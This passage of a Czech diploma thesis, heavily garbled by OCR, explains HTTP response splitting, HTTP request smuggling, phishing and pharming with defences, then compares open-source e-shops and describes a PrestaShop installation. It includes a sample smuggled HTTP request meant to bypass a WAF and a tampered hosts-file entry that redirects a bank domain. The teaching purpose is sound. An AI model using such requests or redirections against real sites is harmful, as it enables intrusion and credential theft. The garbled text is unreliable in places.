Pomoci utoku Page Hijacking miiZze uto¢nik také naptiklad pfijimat HTTP odpovédi
puvodné urcené napadenému uzivateli, a tim od serveru ziskat neopravnéné ruzné citlivé
informace. HTTP Response Splitting muze dale také umoznit provadét rizné utoky typu
XSS atd.

Obranou proti tomuto nebezpe¢nému druhu napadeni je podobné jako u jinych utokl
pfedevsim vhodna kontrola vSech uzivatelskych vstupl, a to pfedevSim téch, jejichz
hodnoty jsou ptedavany do HTTP hlavi¢ek dokumenti. Tyto filtrace musi zejména zajistit
odstranéni zminovanych CR/LF znakl slouzicich pro odfddkovani a pro testovani
zranitelnosti proti témto injekcim mohou byt vyuzity také nékteré specidlni

automatizované nastroje. [23]
HTTP Request Smuggling

Toto napadeni vychazi z predpokladu, kdy webovy server nedokdze spravné zpracovat
chybné sestaveny HTTP pozadavek. Utok vyuzivé rozdilti v analyze datového toku téchto
pozadavki mezi klientem a serverem. Jednotlivymi subjekty, mezi nimiz tyto rozdily
HTTP parsovani mohou vznikat, jsou napiiklad cache servery, proxy servery ¢i webové

aplikac¢ni firewally atd.
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Zakladem uspésného propaSovani skodlivého pozadavku je moznost obejit pravé webovy
aplikacni firewall (WAF). WAF muze byt aplikacni brana pracujici jako reverzni proxy
server ¢i samostatny modul webového serveru, ktery ma za ukol zabranit toktim diive nez
zasahnou samotné aplikace. Princip, jak toto napadeni provést bude vysvétlen na
nasledujicim prikladu:

Nize uvedeny HTTP pozadavek odeslany metodou GET provadi zapouzdieni jiného
pozadavku, ktery je ale soucasti steyné HTTP hlavicky. Jeji prvni Cast je analyzovana
naptiklad systémem WAF, ale druha je zpracovana ptimo koncovou aplikaci ¢imz doslo k

prachodu pfes ochranu proxy severu, ktery nedokazal druhou cast tohoto skodlivého

pozadavku taktéz vyuzivajiciho metodu GET analyzovat.

GET /strankal.jsp?paraml=valuel&param2=

Content-Type: application/x-www-form-

Content-Length: ©

Foobar: GET /stranka2.jsp HTTP/1.0

Cookie: my_id=1234567

Authorization: Basic ugwerwguwygruwy

Tento zplisob utoku byl uspésny, jelikoZ nékteré subjekty analyzujici HTTP pozadavky
akceptuji naptiklad pouze jejich prvni nalezenou variantu a jiné naopak tu posledni.

Utok HTTP Request Smuggling mize byt prostfednikem k provedeni dalsich atokt jako
naptiklad jiz zminovaného napadeni Cache Poisoning, které vSak neni z pohledu
propasovani Skodlivého pozadavku sméfovano na cache prohlizeCe, nybrz na cache
webového serveru, odkud jsou rychleji zobrazovany nej€astéji pozadované stranky. Déle to
mohou byt utoky Request Hijacking nebo Request Credential Hijacking, coz jsou tnosy
HTTP pozadavki ¢i jejich povéteni odesilané napadenym uzivatelem. Diky HTTP Request
Smuggling mohou byt také provadény utoky XSS ¢i kradeZe session apod.

Obranou proti pasovani Skodlivych pozadavkid skrze zabezpeCovaci mechanismy
webovych aplikaci by mélo byt pouziti takovych systémi, které jsou schopny odhalit
Skodlivé HTTP pozadavky, a to pfedevsim jejich nebezpecné zdvojené varianty. [23]

2.4.9 Socialni inZenyrstvi

Phishing
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bankovnictvi a elektronického obchodovéni. Toto napadeni spo¢ivd v podvodné aktivité,
ktera ma za cil ziskat pfistupové udaje k uctim téchto systémt a ty nasledn€ zneuzit pro

vlastni obohaceni.

Samotny utok je nejcastéji provadén pomoci hromadného rozesilani e-mailli obsahujicich
ve svém sdéleni Skodlivy odkaz, jenz na prvni pohled vypada tak, jako by smétoval na
legitimni stranky banky ¢i jiného subjektu vhodného k tomuto napadeni. Ve skute¢nosti
vSak tento link odkazuje na faleSné stranky vytvorené uto¢nikem, které se snazi vérné
kopirovat originalni web dané organizace. Na tomto podvrzeném webu je umistén formulaf
pozadujici citlivé informace jako naptiklad ¢isla ucétl, PIN k platebni karté ¢i kody k

internetovému bankovnictvi apod.

Tento pozadavek na zadani divérnych dat je Casto zduvodnovan tdajnou nutnosti re-
aktivace ¢i ovéfeni stavajiciho uctu. V jiném piipadé muze byt uzivatel presvédcovan, ze
byl jeho ucet zfejmé napaden, a proto musi vykonat potfebna bezpeCnostni opatfeni

proveditelna ptes ptilozeny "legitimni" odkaz atd.

Obrana proti phishingu stoji a padd predev$sim na informovanosti a diveéfivosti klient
organizaci nachylnym k témto typtim utokid. Uzivatelé by méli byt vhodné poucovani o

zakladnich principech, které témto utoklim mohou zabranit.

Jedna se predevsim 0 presvédéeni uzivatell, ze dana organizace nema z principu davod po
svych klientech pozadovat zadani jejich citlivych tdaju, a tudiz neni vhodné klikat na
odkazy obsazené v pfijatych e-mailech, které mohou budit dojem, Ze pochazi z legitimniho
zdroje. Uzivatelé by méli byt také prubézné¢ nabadani k pouzivani bezpec¢nostniho
softwaru, jako jsou antivir a firewall a také provadét pravidelné aktualizace svého systému,
jelikoZ tato opatfeni snizuji Gtocnikiim moznost ziskat citlivé informace pfimo z pocitace

uzivatele.

Dal§im dalezitym pravidlem by mél byt zvyk pfistupovat na stranky téchto organizaci
pouze za pomoci ru¢niho ptfepisu URL adresy webu, jelikoz ttoc¢nici Casto ukladaji své
podvrzené stranky na doménu s velmi podobnym nazvem. S timto pravidlem je spojeno
také doporuceni, které organizace nabadéa vytvaret pro své stranky kratké URL adresy bez
zbyteéného mnozstvi parametri. Ty jSOu pro uzivatele prehlednéjsi a napomahaji tak snaze

odhalit podvodnou phishingovou stranku.
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Pro ptistup na weby organizaci zranitelnych témito typy utoki by méla byt také provadéna
kontrola, zda je pro HTTP ptenos pouzit bezpecnostni protokol SSL. Pro tviirce webovych
aplikaci by méla byt dale diilezitd piredevSim obrana proti XSS napadeni ¢i utokiim

ClickJacking, jenz mohou prubéh phishingu zprostfedkovat. [23]
Pharming

Pharming vychazi ve svém zakladu z phishingu a je jeho jeho zdokonalenou a
napadeného serveru na piislusnou IP adresu, ¢imz provadi utok na DNS (Domain Name
System). Pokud se utoénikovi podaii zménit napiiklad DNS zaznam banky CSOB, nebude
tak adresa www.csob.cz pieloZzena na souvisejici IP adresu 193.245.35.130, ale na
adresu uto¢nika, kde je ulozena na prvni pohled stejna aplikace. Pokud uzivatel vyuzivajici
napadeny DNS server zadd do prohlizece adresu zminéného internetového bankovnictvi a
ptihlasi se do zobrazené aplikace, pieda tak nevédomky své citlivé tdaje utoénikovi. Toto
napadeni, jehoz prostfednictvim byl pharming proveden je zndmo pod nazvem DNS
Spoofing, které je provedeno zaménou IP adresy v paketu, ktery se vraci jako odpovéd’ na

zadost o preklad doménového jména.

Dalsi moznosti, jak uskute¢nit pharming je provést lokalni iipravu souboru hosts piimo na
uzivatelské stanici obéti, jenzZ umozinuje upravit DNS zdznamy pro pteklady IP adres.
Utoénik miize provést zménu tohoto souboru napiiklad pii pouziti trojského kong, ktery
byl na nedostate¢né zabezpecCeny uZzivatelsky pocita¢ néjakym zpusobem podstréen.

Ptiklad upraveného obsahu souboru hosts je mozno vidét nize:
127.0.0.1 localhost
111.222.33.44 WWw.CSsob.cz

Pokud nyni uZzivatel pfistoupi na stranku uvedené banky, je diky upravenému souboru
hosts pfesmérovan na podvrzenou aplikaci a pokud se zde ptihlasi, dojde opét jako u

pfedchozi varianty Gtoku k odcizeni ditvérnych informaci.

Ochrana proti pharmingu se déli podle toho, jakym ze dvou uvedenych principt je tGtok
provadén. U prvné popsané varianty jde o ochranu DNS serverti proti zminénému ttoku
zvanému DNS Spoofing. JelikoZz tvofi DNS servery patet celého Internetu, jsou casto

velmi dobie zabezpetené, ¢imz je tato metoda provedeni pharmingu velmi obtizna.
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Obrana proti Gtoku postavenému na modifikaci souboru hosts je zaloZena pfedevsim na
pouzivani vhodné nastaveného a aktualniho antivirového programu, ktery by mél
kontrolovat vSechny pftichozi soubory ze sitového prostfedi. Pokud je do systému
nainstalovan trojsky ki, mize byt pharming i pfes tuto skute¢nost potlacen, a to diky
nékterym bezpecnostnim aplikacim, jenzZ mohou zapis do souboru hosts zakazat. Tato
metoda obrany ale muze zabranit zapisu také nékterym regulérnim aplikacim, které by
mély mit moZnost provadét tpravy tohoto seznamu povoleny, a tudiz neni v nékterych

piipadech nejvhodnéjsi k pouziti. [31]
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II. PRAKTICKA CAST
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3 IMPLEMENTACE ELEKTRONICKEHO OBCHODU

3.1 Open source FeSeni

V této sekci je popsan vybér Casto vyuzivanych webovych systému urCenych pro

elektronické obchodovani, které jsou bezplatné dostupné pod open source licenci.

3.1.1 Magento

Magento je elektronicky obchod vyvijeny od roku 2007 spole¢nosti Magento Inc., a tento
produkt je Sifen pod open source licenci OSL 3.0. Samotné jadro aplikace je vytvareno

pomoci Zend Frameworku a jako databazovy systém pouziva MySQL.

Tento e-shop je v Ceském prostiedi velmi rozsifen a je zde vytvofena rozsédhla komunita
slouzici pro jeho lokalizaci a obecnou podporu, ktera je spojovana predev§im s webem
www.magento.cz. Magento obsahuje znaéné mnozstvi dopliujicich modult, které jsou
vydavany zdarma podporujici komunitou nebo mohou byt zakoupeny jako oficidlni

rozsifeni poskytované spole€nosti Magento Inc.

Zakladni verze tohoto elektronického obchodu obsahuje mnoho bézné poZzadovanych
funkci a prvki jako napiiklad vicejazy¢nost, podpora vice mén, modul pro SEO
optimalizaci ¢i moznost tvorby ruznych analyz apod. Pro instalaci systému Magento je
nutné z divodu jeho vétSi hardwarové naroCnosti vyuzit kvalitni a stabilni hosting

vyuZivajici server s rozsahlou podporou potfebnych PHP moduli.

Kromé& bezplatné verze tohoto produktu, kterd nese ndzev Magento Community Edition
jsou dostupné také dvé placené varianty nabizejici technickou podporu od vydavatele a
mnohé dal$i nadstandardni funkce. Tyto verze jsou vydavany pod ndzvy Magento
Enterprise Edition a Magento Enterprise Premium Edition. Aktualni verzi bezplatné

varianty tohoto e-shopu je 1.6.2.0 vydana v lednu roku 2012. [32]

3.1.2 osCommerce

Tento produkt je vyvijen od roku 2000 a vytvofil jej némecky vyvojai Harald Ponce de
Leon. Systém je vydavan pod licenci GNU General Public License a pro svou instalaci

vyzaduje server s podporou PHP a MySQL.

E-shop osCommerce je vyuzivan ptedevS§im pro svou jednoduchost a snadnou instalaci,

¢imz je vhodny zejména pro zacinajici obchodniky. K systému se vaze rozsahla komunita,
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ktera je ale aktivni spie na zahrani¢nich serverech. Cist4 instalace tohoto elektronického
obchodu obsahuje pouze bézné zakladni funkce, které lze ale pozdéji rozsitit mnozstvim
doplikovych plugind, a ty jsou podobn¢ jako u jinych systémt bud’ zpoplatnény c¢i
poskytovany zdarma. Casto vytykanym problémem tohoto systému je predevsim
nepiehlednost samotného zdrojového koédu, jenz znesnadituje vyvoj novych specifickych
roz$iteni a obecné uskutecnéni nekterych uprav. Tento nedostatek také snizuje miru
bezpecnosti provadénych obchodnich transakci. Jako dal§i zasadni nevyhodu lze zminit

také pouziti zastaralého tabulkového layoutu.

Soucasné nejnovesi verzi tohoto elektronického systému je osCommerce Online Merchant

v3.0.2 vydana v srpnu roku 2011. [33]

3.1.3 Zen Cart

Zent Cart je aplikace slouzici pro elektronické obchodovani, ktera vznikla v roce 2003 jako
samostatny projekt ptivodné vyvijeny spole¢né s e-shopem osCommerce. Tento systém je
soucasn¢ vydavan vyvojarskou skupinou Zen Cart™ Team pod licenci GNU General
Public License. Aplikace je vytvofena za pomoci programovaciho jazyka PHP s datovou

podporou rela¢ni databaze MySQL.

Hlavnim rozdilem elektronického obchodu Zen Cart oproti osCommerce je jeho snadnéjsi
instalace placenych ¢i zdarma vydavanych rozsifeni a obecné jednodu$si moznost jeho
individualni modifikace diky pfehlednéjsSimu a 1épe strukturovanému zdrojovému kodu.
Dale je to také vyziti dokonalejsiho systému pro spravu vzhledovych Sablon a existence

mnoha funkci obsazenych v zakladni instalaci.

Systém Zen Cart je podporovan rozsdhlou komunitou a u nas se skupina zabyvajici
lokalizaci a upravou toho e-shopu sdruzuje na webu www.zencart.cz. Jako nevyhodu
tohoto elektronického ochodu lze uvést nevhodnou optimalizaci pro vykon, ktera

prodluzuje ptredevsim doby trvani prace s databazi. Déle je to také podobné jako u systému

Aktualni verzi e-shopu Zen Cart je 1.5.0 vydana v prosinci roku 2011. [34]

3.1.4 PrestaShop

Tento moderni elektronicky obchod je vyvijen od roku 2007 spole¢nosti PrestaShop Inc., a

je vydavan pod open source licenci OSL 3.0. Jadro systému je vytvofeno za pomoci jazyka
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PHP s podporou databidzového systému MySQL. Z dalSich podptirnych technologii
vyuziva PrestaShop naptiklad Sablonovaci systém Smarty nebo interaktivni technologii

AJAX.

Tento e-shop obsahuje mnoho modernich funkci jako napiiklad podporu mnozstvi riznych
platebnich metod, mozZnost geolokace zakaznika podle IP adresy, snadnou integraci
aplikace s ucetnimi a ekonomickymi systémy, upravu front-end casti webu pomoci

interaktivni funkce LiveEdit atd.

PrestaShop podporuje rozsahla komunita jeho uZzivatelti a u nas je tato skupina spojovana
predevsim s webem www. prestashopcesky.cz. Zna¢né oblibenosti se tento elektronicky
obchod t&si predevsim kvili jeho rozsahlé jazykové lokalizaci, ktera v soucasné dobé¢ ¢ita
pies 40 piekladovych verzi. Usp&$nost systému PrestaShop je piipisovana také existenci
zna¢ného mnozstvi rozsifujicich moduld, jenz 1ze v administraéni sekci stahovat a nasledné

online integrovat pomoci pohodIného instalatoru.

Tento v mnoha ohledech kladné hodnoceny produkt ziskal v roce 2011 ocenéni Open-
source Business Application Award, ¢imz potvrdil svou pozici v pfedni Spicce nejlepSich

aplikaci urc¢enych pro elektronické obchodovani.

Soucasna stabilni verze PrestaShopu je 1.4.7.3 vydana v dubnu roku 2012. [35]

3.1.5 Ubercart

Ubercart je elektronicky obchod dostupny jako piidavny modul k CMS systému Drupal.
Jeho autory jsou vyvojaii Ryan Szrama, J. Lyle Mantooth a tento systém je vydavan od
roku 2008 pod licenci GNU General Public License. Pozadavky na jeho instalaci jsou
svazany se zminénym CMS systémem, jehoZ jadro je vytvofeno pomoci jazyka PHP s

primarni podporou rela¢nich databazi MySQL a PostgreSQL.

Ubercart je obliben predev$im uzivateli, ktefi vyuZivaji pro své projekty systém Drupal a
jeho instalace a samotné vyuziti tak vychazi jiz ze znamého konceptu. Komunita
podporujici tento prodejni systém je u nas sdruZzovédna na strankach www.ubercart.cz. a

také na webu www.drupal.cz.

Tento e-shop obsahuje soubor zasadnich vlastnosti pozadovanych pro bezproblémovy chod
dnesniho zplsobu elektronického obchodovani. Je to naptiklad podpora vicejazycnosti,

moznost vyuZiti vice mén & mnozstvi integrovanych platebnich bran atd. Ubercart je
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vhodné pouzit naptiklad pro online prodej letenek, slevovych poukazii, softwaru nebo také

hudebnich MP3 soubort apod.

Aktualni verze tohoto modulu pro elektronické obchodovani je 3.0 vydana v tnoru roku

2012 a pro jeji instalaci je pozadovan systém CMS Drupal verze 7. [36]

3.1.6 OpenCart

Tento systém urceny pro elektronické obchodovani, jehoz prvni verze byla vytvofena v
roce 2008 je vydavan pod licenci GNU General Public License a jeho tvirci jsou
programator Daniel Kerr a vyvojai zvany pod nickem Qphoria. Podobn¢ jako vétSina
jinych open source e-shopt je také OpenCart vytvoien za pomoci jazyka PHP s vyuzitim

databazového systému MySQL.

OpenCart je vytvofen na zdkladé softwarové architektury MVC-L, kde je klasicka
struktura Model-view-controller doplnéna o vrstvu Language, ktera zajistuje
zjednoduSenou instalaci mnoha podporovanych piekladi. Systém je programovan plné
objektové a jeho piehledny zdrojovy kod tak umoziuje provadét snadné individudlni
upravy. Nevyhodou této aplikace je ale jeji mensi rozsah nastaveni dostupny pies bézné
administrani rozhrani, ¢imZz se tento e-shop stava nevhodnym pro uzivatele bez
zakladnich znalosti programovani. Ceska komunita podporujici tento e-shop ma své forum
na oficialnim webu www. opencart.com v sekci Community Forums.

Cista instalace systému obsahuje b&zné funkce pro zajiiténi provozu spise mensiho
provadénych operaci. Oficidlni podpora OpenCart nabizi pro rozsifeni své aplikace

mnozstvi doplikovych modult, které jsou ovsem z velké ¢asti zpoplatnény.

Posledni verzi e-shopu OpenCart je 1.5.2.1 vydana v bieznu roku 2012. [37]

3.1.7 OXID eShop

Elektronicky obchod OXIS eShop je vyvijen némeckou spolecnosti OXID eSales AG a
jeho open source verze zvana OXID eShop Community Edition je vydavana od roku 2008
pod licenci GNU General Public License 3.0. Tato pokrocila aplikace je vyvijena pomoci
Zend Frameworku s vyuzitim Sablonovaciho systému Smarty a podporou relacni databaze

MySQL. Pro uspéS$nou instalaci systému je nutno zajistit kvalitni hosting obsahujici
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vhodné nastaveny webovy server Apache podporujici fadu pottebnych rozsitujicich PHP

modulu.

Podporu tohoto e-shopu u nas zajist'uje brnénska firma oXy Online s.r.0, na jejimz webu
1ze mimo mnozstvi obecnych informaci nalézt také komunitni forum sdruzujici uzivatele a

vyvojate podporujici tento systém.

OXIS eShop obsahuje mnoho pokrocilych funkci a prvki jako naptiklad vlastni redakcni
systém, modul pro rozesilani newslettert, podporu integrace s mnozstvim ucetnich a
ekonomickymi systémy, funkce cenového alarmu, moznost tvorby uZivatelskych recenzi
atd. Zaklad systému lze dale rozsitit o velké mnozstvi doplitkovych moduli, které jsou
distribuovany v lokalizované podobé zminénou ceskou firmou. Diky vynikajicim
vysledkim v oblasti e-komerce ziskala aplikace OXID eShop Community Edition v roce
2009 prvni cenu v evropské soutézi Open Source Business Award, kterd hodnoti

spole¢nosti zabyvajici se inovativnimi feSenimi zalozenymi na otevieném zdrojovém kodu.

Mimo open source verze tohoto systému nabizi spolecnost OXID eSales AG sviij feSeni
také v komer¢ni podobé, a to ve verzich OXID eShop Professional Edition a OXID eShop
Enterprise Edition, které jsou orientovany na vétsi obchodniky vyzadujici mnozstvi
rozSitfujicich funkci a predevsim kvalitni technickou podporu. Soucasna verze open source

varianty tohoto elektronického obchodu je 4.5.9 vydana v bieznu roku 2012. [38]

3.1.8 VirtueMart

Tento systém ureny pro podporu elektronického obchodovani je vytvofen jako
komponenta CMS systému Joomla! a jeho vyvoj ma souCasné na starost tym vyvojari
vedeny programatorem Maxem Milbersem. VirtueMart je vydavan pod licenci GNU
General Public Licence a jeho prvni stabilni verze byla vytvorena v roce 2005. Pozadavky
na instalaci aplikace VirtueMart jsou spojeny se zminénym systémem Joomla! a také s
CMS nastrojem Mambo, se kterym je tento e-shop vydavany v podobé rozsifeni také
kompatibilni. Systémy Joomla! a Mambo jsou vytvofeny za pomoci jazyka PHP a pro
ukladani dat vyuzivaji databazi MySQL.

VirtueMart obsahuje mnoho funkci nezbytnych pro dnesSni zpusob elektronického
obchodovani. V zdkladni instalaci je obsazena naptiklad moznost vyuziti SSL Sifrovani,

podporuje vice mén a sazeb DPH, obsahuje rozsifené moznosti vyhledavani v produktové
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struktufe atd. Tento e-shop je vhodny pro online prodej hudebnich nahravek, softwaru ¢i

jinych podobnych produktt a je mozné ho vyuzit také pouze jako katalog zbozi.

Tento oblibeny elektronicky obchod podporuje velka komunita jeho uzivatelti a u nas se
tato skupina sdruzuje na webu www.obchod-virtuemart.com. VirtueMart je lze rozsifit
mnozstvim doplikovych moduld, které jsou vydavany jak v placené, tak i neplacené

podobg.

Aktualni verze tohoto e-shopu je 2.0.2 vydana v Ginoru roku 2012. [39]

3.1.9 TomatoCart

TomatoCart je pomérmné novy elektronicky obchod, ktery vyviji japonsti programatofi Lei
Zheng a Jack Yin. Tento systém je vydavan pod licenci GNU GPL 3.0 a jeho prvni verze
byla zvefejnéna v roce 2010. TomatoCart je postaven na jazyce PHP s vyuzitim databaze
MySQL a jadro systému je od verze 2.0 vytvoieno pomoci frameworku Codeigniter, ktery
dodrzuje softwarovou architekturu MVC. Aplikace pouziva vlastni $ablonovaci systém a

obecné podporuje snadné individualni programatorské Upravy.

Oficialni podpora tohoto e-shopu je u nas =zajistovana prostiednictvim webu
www.tomatocart.cz, kde je také umisténo forum prozatim nepfili§ rozsahlé komunity.
TomatoCart obsahuje ve svém zakladu mnozstvi Casto zadanych funkci jako napiiklad
moznost nakupu bez registrace, generaci faktur z objednavek, podporu pro nastaveni
ruznych danovych sazeb, moznost porovnani produktti atd. RozSifeni tohoto systému je
mozné podobné jako u jinych e-shopu realizovat pomoci placenych ¢i nékterych zdarma
vydéavanych doplnkovych plugind. V roce 2010 obsadil TomatoCart v soutézi Open Source
E-Commerce Applications Open Source Awards druhé misto, ¢imz prokazal své kvality v

oblasti podpory elektronického obchodovéani.

Soucasnou stabilni verzi této aplikace je 1.1.5 vydana v srpnu roku 2011. [40]

3.1.10 Spree Commerce

Spree Commerce je e-shop vyvijeny americkou firmou Spree Commerce Inc., jehoz prvni
verze byla zvefejnéna v roce 2008. Tento systém je vydavan pod open source licenci New
BSD license, jenz je v této oblasti jednou z nejsvobodnéjsich. Aplikace Spree Commerce

je vytvoiena pomoci programovaciho jazyka Ruby a podporuje vyuziti databazovych
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systétmt SQLite, MySQL, a PostgreSQL. Jadro systému je vyvijeno za pomoci

frameworku Ruby on Rails slouZici pro podporu tvorby vykonnych webovych aplikaci.

Spree Commerce u nas zatim nema vytvofenou jednotnou komunitu, ktera by tuto aplikaci
aktivné podporovala, a tudiz neni k dispozici ani jeho Ceska lokalizace. Tento systém ma
ve svém zakladu tadu ocenovanych funkci jako naptiklad mnozstvi podporovanych
platebnich metod a zplsobl dopravy, integrovany statisticky nastroj Google Analytics,
ukladani historie uzivatelskych objednavek atd. Spree Commerce ma stejné¢ jako jiné
aplikace slouzici pro podporu elektronického obchodovéni vytvotfen systém pro distribuci
pii nasazeni této aplikace miize byt problém nalezeni vhodného kvalitniho hostingu,
jelikoz serverova podpora jazyka Ruby neni prozatim tak béZzné rozsifena jako napiiklad

pro PHP.

Aktualni verzi Spree Commerce je 1.0.3 vydana v bfeznu roku 2012. [41]

3.2 Vybér vhodného reSeni

V této sekci bude popsan proces vybéru vhodnych open source systémul slouZicich pro
podporu elektronického obchodovéni, které budou nasledné instalovany a spuStény na

zkuSebnim serveru pro dalsi potfeby této diplomové prace.

Samotna volba nejvhodnégjsich aplikaci vybranych z vyse predstavenych systému byla

uskutecnéna podle nasledujicich kritérii:

e hostingova podpora vyuZivanych technologii,
e naro¢nost na nastaveni serveru,

e zavislost na jinych systémech,

e kuvalita a Citelnost zdrojového kodu,

e existence dulezitych funkci a prvkd,

e cxistence Ceské podptirné komunity,

e moznost Ceské lokalizace,

e rychlost zpracovani uZzivatelskych pozadavkd.

Pro zkuSebni instalace vybranych elektronickych obchodii byl vyuzit hostingovy systém
LW Hosting slouzici jako serverova podpora pro studentské projekty Fakulty aplikované
informatiky. Na tomto webhostingu je instalovan server Apache, ktery obsahuje podporu
jazyka PHP verze 5.2.6-1 a rela¢ni databaze MySQL 5.0.51a.
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Jelikoz na serveru nelze zpracovavat skripty jazyka Ruby, odpada moznost instalovat na
pouzity hosting elektronicky obchod Spree Commerce. Dale feSeni osCommerce vyzaduje
pro svou instalaci minimalni verzi jazyka PHP 5.3, coz jej taktéz vyluCuje z okruhu
potencialné pouzitelnych variant. Pfi redlném vybéru vhodného systému pro elektronické
obchodovani by zifejmé nebyla volba této aplikace podminéna jiz danym hostingem, ale
spiSe naopak by vybér vhodného hostingového systému byl podminén zvolenou variantou

open source e-shopu.

Nicméné i pies uvedené kriterium zohledfiujici pouziti studentského hostingu vhodného
pro testovaci ucely spojené s touto praci neni vylouCeni aplikace osCommerce z

Mrwe

bude uvedeno dale.

Dal$im kritériem, podle kterého jsou posuzovéana vybrana feSeni, je narocnost na nastaveni
serveru a nutna podpora mnoha rozsifujicich modulii. Z tohoto hlediska se jevi jako
minimalniho pamétového limitu pro spousténi skriptlh na 256 MB. Tato skutecnost je
hlavni nevyhodou tohoto robustniho feSeni, které v porovnani s jinymi aplikaci vyraznéji
zatézuje server. Dale je to se svymi vyS§imi hardwarovymi néroky také jinak velmi

oblibeny elektronicky systém Zen Cart.

Aplikace z4vislé na CMS systémech Drupal, Joomla! a Mambo, kterymi jsou Ubercart a
VirtueMart mohou pfi své aktualizaci ¢asto vyzadovat také upgrade svého podsystému, v
némz tyto e-shopy plni pouze funkci pfidavného modulu. Pravé z tohoto hlediska nemusi

byt tyto aplikace nejvhodnéjsim feSenim pro ptipadnou rozsahlou prodejni ¢innost.

Z pohledu kvality, ¢itelnosti a s tim spojené¢ moZznosti efektivni Gpravy zdrojového kodu,
patii mezi ne zcela vhodna feseni predevsim jiz zminény e-shop osCommerce a také
systém Zen Cart, ktery byl s aplikaci osCommerce zpocatku spole¢né vyvijen. Naopak
jako nejlépe programoveé realizované systémy Se jevi napiiklad e-shopy PrestaShop, OXID
eShop, OpenCart a TomatoCart.

Kritérium sledujici existenci dilezitych vlastnosti a prvkli pozadovanych pro dne$ni
zptisob elektronického obchodovani ukazalo, Zze feSeni obsahujici v zdkladu nejméné
funkci je ziejmé aplikace osCommerce. Pomérné slibny systém OpenCart je z tohoto
pohledu vhodny spiSe pro mensi prodejce, a tudiz neni v komplexnim méfitku tim

nejvhodnéjsim feSenim.
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Existenci vice ¢i méné rozsahlé Ceské komunity pro podporu popisovanych systémil
obsahuji vSechny systémy vyjma aplikaci osCommerce a Spree Commerce. Elektronicky
obchod Spree Commerce navic jako jediny z téchto systémil nema moznost své lokalizace
komunity a také menSim poctem webovych hostingii umoziujicich vyuzivat programovaci

jazyk Ruby.

Z hlediska rychlosti odezvy na uzivatelské pozadavky a obecné praci s daty se jevi jako
nejvice tézkopadny systém ZenCart, ktery naptiklad pii nacteni stranky s katalogem zbozi

provede fadové stovky SQL dotazll, coz znacné zatézuje vyuzivanou relacni databazi.

Podle vySe popsanych kritérii a také dle vlastniho subjektivniho nazoru se jevi jako
nejvhodnéjsi open source systémy pro moderni elektronické obchodovani aplikace
PrestaShop, OXID eShop a TomatoCart. Z téchto tii e-shopl byly nakonec pro potieby
této prace vybrany systémy PrestaShop a OXID eShop, jelikoz jsou u nas v oblasti e-

komerce vyuzivany delsi ¢as, a z tohoto divodu maji také rozsahlejsi podptirné komunity.
3.3 Instalace a nastaveni

3.3.1 PrestaShop
Instalace

Prvnim krokem po ovéfeni hardwarovych poZzadavkid na server a ziskani pfistupu k
hostingovému Uctu bylo stazeni aktualniho baliku e-shopu z webu dodavatele. Po stazeni a
rozbaleni nasledovalo nakopirovani celého obsahu baliku na uwloZist€¢ serveru do
samostatného adresafe presta, coz zajistilo oddéleni struktury této aplikace od systému
OXID eShop, ktery byl instalovan jako druhy v potadi. Kopirovani bylo provedeno pomoci
programu FlashFXP, ktery slouzi jako FTP klient a umoznuje napftiklad také provadet

zmény atributtl definujicich opravnéni pro soubory a slozky atd.

Po pieneseni vSech aplikac¢nich dat mohla byt spusténa samotna instalace. To bylo u¢inéno
ve webovém prohlize¢i, kde byla zadana URL adresa zkopirované aplikace, ktera ma
konkrétné¢ podobu lbartosak.host.utb.cz/presta/. Po pfistupu na tuto adresu doslo
ke spusténi instalatoru, kde bylo nejprve nutné zvolit preferovany jazyk pro priuvodce
instalaci a bylo zde mozné vybrat z anglického, francouzského, Spanélského, némeckého a

italského jazyka. Dal§im krokem byla volba bud’ nové instalace ¢i moznosti upgradu jiz
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nainstalovaného systému. Po tomto vybéru byl proveden souhlas s ptiloZenou open source

licenci, coz umoznilo pokrac¢ovat v dal§im postupu.

V dalsim kroku doslo k ovéfeni validity konfigurace serveru, kde byly splnény vSechny
podminky vyjma pozadavku na vypnuti PHP vlastnosti magic_quotes_gpc zajistujici
escapovani nékterych problémovych znak, jenZ je u této aplikace feSeno v ramci vlastniho
kédu. Vypnuti této vlastnosti neni pro uzivatele v nastaveni serveru povoleno, ale toto
omezeni nema zasadni vliv na funkcnost aplikace, jelikoZz patti pouze mezi doporucené

konfiguraéni Gpravy.

V dalsim kroku bylo pozadovano vytvoieni databaze, do niz byla nainstalovana potfebna
data. To bylo provedeno v konfiguraénim rozhrani hostingu, kde je pro tuto akci vytvoten
skript vytvafejici databaze k studentskym projektim automaticky na zakladé jejich
pozadavku. Nazev databaze je zde generovan z piihlaSovaciho jména uZivatele a jejiho
pofadového ¢&isla. Po vytvofeni databidze bylo nutné zadat jeji zdkladni udaje do
ptilozeného formulaie, ktery 1ze vidét na obrazku nize:

Configure your database by filling out the following fields:

Please create a MySQL database and then verify your settings below If you need assistance, please ask your
hosting provider far this information.

Database server name: localhost

Database name: lbartosak-2

Database login: lbartosak-2

Database password: sssssees

Database Engine: My S0 j
PrestaShop database tables prefix: ps_

Verify my database settings

Obr. 8. Instalacni formular slouzici pro nastaveni udajit o databazi

Po vyplnéni potfebnych informaci byla provedena kontrola databazového piipojeni, a

jakmile tento test probéhl v potadku, bylo mozné v instalaci pokracovat dale.

Nasledné¢ byl proveden vybér typu instalace z moda Lite ¢i Full, které zna¢i moznost

w7

modult. Dalsi krok pozadoval nastaveni konfigurace SMTP serveru slouziciho pro

odesilani e-maild, a toto nastaveni mohlo byt provedeno manuélng, ¢i ponechano na
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automatické volb¢, kterd pouziva nastaveni z PHP funkce mail(). Tento konfiguracni
nastroj zde obsahuje také moznost odeslani testovaciho e-mailu ihned ovétujiciho

funk¢nost vybraného nastaveni.

Po uspé$ném priijeti tohoto e-mailu bylo v dalsi ¢asti instalace nutné vyplnit nékteré
zékladni informace jako nazev elektronického obchodu, typ prodejni aktivity, stat v némz
bude obchod registrovan, Casovou zonu a také je tady obsazen vstup pro vlozeni
obchodniho loga. Dale zde byla moznost povolit obchod pouze v katalogovém modu, ktery
neslouzi pro prodej, ale pouze pro prohlizeni produktové baze. Poté nésledovalo vyplnéni
jména a ptijmeni obchodnika a pfedevsim také e-mailu a hesla, jenz po instalaci slouzi k

piihlaseni do administracni sekce.

Timto byla zakladni instalace dokonfena a pro prvni pouziti tohoto elektronického
obchodu bylo nutné z bezpecnostnich divodi smazat v adresafové struktufe systému
slozku install a dale piejmenovat adresat admin na jiny nazev (napiiklad admin748). Pro
ptihlaeni do back-end sekce slouzi URL vytvoiené z cesty k piejmenované slozce
obsahujici data pro administraci (naptiklad

lbartosak.host.utb.cz/presta/admin748/).
